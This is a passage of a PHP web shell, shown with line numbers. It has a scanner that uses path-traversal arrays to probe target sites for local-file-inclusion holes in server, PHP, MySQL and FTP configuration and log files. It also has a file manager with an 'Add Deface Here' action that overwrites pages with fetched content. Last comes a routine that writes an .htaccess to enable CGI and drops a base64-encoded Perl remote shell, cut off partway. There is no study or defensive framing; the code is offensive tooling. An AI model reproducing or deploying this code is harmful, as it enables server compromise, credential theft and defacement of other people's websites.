1327 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1328 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1329 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1330 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1331
1332 $lfiphpini = array(
1333 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1334 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
1335 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
1336 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
1337 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
1338 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
1339 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
1340 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
1341 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
1342 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
1343 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
1344 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
1345 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
1346 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
1347 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
1348 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
1349 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
1350 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
1351 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
1352 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
1353 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
1354 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
1355 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
1356 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
1357 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
1358 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
1359 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
1360
1361 $lfimysql = array(
1362 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
1363 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
1364 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
1365 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
1366 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
1367 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
1368 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
1369 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
1370 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
1371 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
1372
1373 $lfiftp = array(
1374 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
1375 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
1376 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
1377 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
1378 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
1379 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
1380 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
1381 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
1382 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
1383 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
1384 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
1385 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
1386 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
1387 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
1388 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
1389 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
1390 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
1391 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
1392 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
1393 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
1394 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
1395 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
1396 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
1397 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
1398 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
1399 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
1400 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
1401 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
1402 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
1403 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
1404 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
1405 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
1406 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
1407 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
1408 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
1409 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
1410 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
1411 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
1412 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
1413 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
1414 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
1415 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
1416 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
1417 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
1418
1419
1420 $x = 1;
1421 if ( $type == 1 ) {
1422 $res1 = FetchURL($target.$lfitest);
1423 $res2 = FetchURL($target.$lfitest2);
1424 $rhash1 = md5($res1);
1425 $rhash2 = md5($res2);
1426 if ($rhash1 != $rhash2) {
1427 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1428 while($lfiaccess[$x]) {
1429 $res3 = FetchURL($target.$lfiaccess[$x]);
1430 $rhash3 = md5($res3);
1431 if ($rhash3 != $rhash2) {
1432 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
1433 }
1434 else {
1435 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
1436 }
1437 $x++;
1438 }
1439 }
1440 }
1441 if ( $type == 2 ) {
1442 $res1 = FetchURL($target.$lfitest);
1443 $res2 = FetchURL($target.$lfitest2);
1444 $rhash1 = md5($res1);
1445 $rhash2 = md5($res2);
1446 if ($rhash1 != $rhash2) {
1447 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1448 while($lficonfig[$x]) {
1449 $res3 = FetchURL($target.$lficonfig[$x]);
1450 $rhash3 = md5($res3);
1451 if ($rhash3 != $rhash2) {
1452 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
1453 }
1454 else {
1455 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
1456 }
1457 $x++;
1458 }
1459 }
1460 }
1461 if ( $type == 3 ) {
1462 $res1 = FetchURL($target.$lfitest);
1463 $res2 = FetchURL($target.$lfitest2);
1464 $rhash1 = md5($res1);
1465 $rhash2 = md5($res2);
1466 if ($rhash1 != $rhash2) {
1467 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1468 while($lfierror[$x]) {
1469 $res3 = FetchURL($target.$lfierror[$x]);
1470 $rhash3 = md5($res3);
1471 if ($rhash3 != $rhash2) {
1472 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
1473 }
1474 else {
1475 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
1476 }
1477 $x++;
1478 }
1479 }
1480 }
1481 if ( $type == 4 ) {
1482 $res1 = FetchURL($target.$lfitest);
1483 $res2 = FetchURL($target.$lfitest2);
1484 $rhash1 = md5($res1);
1485 $rhash2 = md5($res2);
1486 if ($rhash1 != $rhash2) {
1487 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1488 while($lfiphpini[$x]) {
1489 $res3 = FetchURL($target.$lfiphpini[$x]);
1490 $rhash3 = md5($res3);
1491 if ($rhash3 != $rhash2) {
1492 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
1493 }
1494 else {
1495 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
1496 }
1497 $x++;
1498 }
1499 }
1500 }
1501 if ( $type == 5 ) {
1502 $res1 = FetchURL($target.$lfitest);
1503 $res2 = FetchURL($target.$lfitest2);
1504 $rhash1 = md5($res1);
1505 $rhash2 = md5($res2);
1506 if ($rhash1 != $rhash2) {
1507 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1508 while($lfimysql[$x]) {
1509 $res3 = FetchURL($target.$lfimysql[$x]);
1510 $rhash3 = md5($res3);
1511 if ($rhash3 != $rhash2) {
1512 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
1513 }
1514 else {
1515 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
1516 }
1517 $x++;
1518 }
1519 }
1520 }
1521 if ( $type == 6 ) {
1522 $res1 = FetchURL($target.$lfitest);
1523 $res2 = FetchURL($target.$lfitest2);
1524 $rhash1 = md5($res1);
1525 $rhash2 = md5($res2);
1526 if ($rhash1 != $rhash2) {
1527 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1528 while($lfiftp[$x]) {
1529 $res3 = FetchURL($target.$lfiftp[$x]);
1530 $rhash3 = md5($res3);
1531 if ($rhash3 != $rhash2) {
1532 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
1533 }
1534 else {
1535 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1536 }
1537 $x++;
1538 }
1539 }
1540 }
1541 if ( $type == 7 ) {
1542 $res1 = FetchURL($target.$lfitest);
1543 $res2 = FetchURL($target.$lfitest2);
1544 $rhash1 = md5($res1);
1545 $rhash2 = md5($res2);
1546 if ($rhash1 != $rhash2) {
1547 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1548 $res3 = FetchURL($target.$lfiprocenv);
1549 $rhash3 = md5($res3);
1550 if ($rhash3 != $rhash2) {
1551 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1552 }
1553 else {
1554 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1555 }
1556 }
1557 }
1558 }
1559 }
1560 printFooter();
1561 }
1562
1563
1564function actionFilesMan() {
1565 printHeader();
1566 echo '<h1>File manager</h1><div class=content>';
1567 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1568 switch($_POST['p1']) {
1569 case 'uploadFile':
1570 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1571 echo "Can't upload file!";
1572 break;
1573 break;
1574 case 'mkdir':
1575 if(!@mkdir($_POST['p2']))
1576 echo "Can't create new dir";
1577 break;
1578 case 'delete':
1579 function deleteDir($path) {
1580 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1581 $dh = opendir($path);
1582 while ( ($item = readdir($dh) ) !== false) {
1583 $item = $path.$item;
1584 if ( (basename($item) == "..") || (basename($item) == ".") )
1585 continue;
1586 $type = filetype($item);
1587 if ($type == "dir")
1588 deleteDir($item);
1589 else
1590 @unlink($item);
1591 }
1592 closedir($dh);
1593 rmdir($path);
1594 }
1595 if(is_array(@$_POST['f']))
1596 foreach($_POST['f'] as $f) {
1597 $f = urldecode($f);
1598 if(is_dir($f))
1599 deleteDir($f);
1600 else
1601 @unlink($f);
1602 }
1603 break;
1604 case 'paste':
1605 if($_SESSION['act'] == 'copy') {
1606 function copy_paste($c,$s,$d){
1607 if(is_dir($c.$s)){
1608 mkdir($d.$s);
1609 $h = opendir($c.$s);
1610 while (($f = readdir($h)) !== false)
1611 if (($f != ".") and ($f != "..")) {
1612 copy_paste($c.$s.'/',$f, $d.$s.'/');
1613 }
1614 } elseif(is_file($c.$s)) {
1615 @copy($c.$s, $d.$s);
1616 }
1617 }
1618 foreach($_SESSION['f'] as $f)
1619 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1620 } elseif($_SESSION['act'] == 'move') {
1621 function move_paste($c,$s,$d){
1622 if(is_dir($c.$s)){
1623 mkdir($d.$s);
1624 $h = opendir($c.$s);
1625 while (($f = readdir($h)) !== false)
1626 if (($f != ".") and ($f != "..")) {
1627 copy_paste($c.$s.'/',$f, $d.$s.'/');
1628 }
1629 } elseif(is_file($c.$s)) {
1630 @copy($c.$s, $d.$s);
1631 }
1632 }
1633 foreach($_SESSION['f'] as $f)
1634 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1635 }
1636 unset($_SESSION['f']);
1637 break;
1638 default:
1639 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1640 $_SESSION['act'] = @$_POST['p1'];
1641 $_SESSION['f'] = @$_POST['f'];
1642 foreach($_SESSION['f'] as $k => $f)
1643 $_SESSION['f'][$k] = urldecode($f);
1644 $_SESSION['cwd'] = @$_POST['c'];
1645 }
1646 break;
1647 }
1648 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1649 }
1650 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
1651 $def = file_get_contents(''); //DEFACE LINK HERE
1652 file_put_contents($_POST['c'].$_POST['p2'],$def);
1653 }
1654 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1655 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1656 global $sort;
1657 $sort = array('name', 1);
1658 if(!empty($_POST['p1'])) {
1659 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1660 $sort = array($match[1], (int)$match[2]);
1661 }
1662 echo '<script>
1663 function sa() {
1664 for(i=0;i<document.files.elements.length;i++)
1665 if(document.files.elements[i].type == \'checkbox\')
1666 document.files.elements[i].checked = document.files.elements[0].checked;
1667 }
1668 </script>
1669 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1670 <form name=files method=post>';
1671 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1672 $dirs = $files = $links = array();
1673 $n = count($dirContent);
1674 for($i=0;$i<$n;$i++) {
1675 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1676 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1677 $tmp = array('name' => $dirContent[$i],
1678 'path' => $GLOBALS['cwd'].$dirContent[$i],
1679 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1680 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1681 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1682 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1683 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1684 );
1685 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1686 $files[] = array_merge($tmp, array('type' => 'file'));
1687 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1688 $links[] = array_merge($tmp, array('type' => 'link'));
1689 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1690 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1691 }
1692 $GLOBALS['sort'] = $sort;
1693 function cmp($a, $b) {
1694 if($GLOBALS['sort'][0] != 'size')
1695 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1696 else
1697 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1698 }
1699 usort($files, "cmp");
1700 usort($dirs, "cmp");
1701 usort($links, "cmp");
1702 $files = array_merge($dirs, $links, $files);
1703 $l = 0;
1704 foreach($files as $f) {
1705 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1706 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1707 $l = $l?0:1;
1708 }
1709 echo '<tr><td colspan=5>
1710 <input type=hidden name=a value=\'FilesMan\'>
1711 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1712 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1713 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1714 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1715 echo '</select> <input type="submit" value="Submit"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
1716 </form></table></div>';
1717 printFooter();
1718}
1719
1720
1721function actionCgiShell() {
1722 printHeader();
1723 echo '<h1>Cgi telnet Evil here </h1><div class=content>';
1724 mkdir('cgitelnet1', 0755);
1725 chdir('cgitelnet1');
1726 $kokdosya = ".htaccess";
1727 $dosya_adi = "$kokdosya";
1728 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
1729 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1730
1731AddType application/x-httpd-cgi .cin
1732
1733AddHandler cgi-script .cin
1734AddHandler cgi-script .cin";
1735 fwrite($dosya, $metin);
1736 fclose($dosya);
1737 $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
1738LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1739LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
1740cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1741LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
1742LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1743LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
1744IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
1745cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1746LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
1747b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
1748cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
1749dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
1750cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
1751biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
1752ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
1753bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
1754cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
1755DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
1756dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
1757ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
1758CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
1759ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
1760aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
1761cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
1762IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
1763dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
1764CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
1765IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
1766bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
1767VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
1768ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
1769InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
1770ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
1771LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1772LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
1773ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
1774YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
1775bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
1776bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
1777aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
1778OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
1779R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1780LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
1781DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
1782Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
1783aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
1784RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
1785CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
1786U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
1787LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
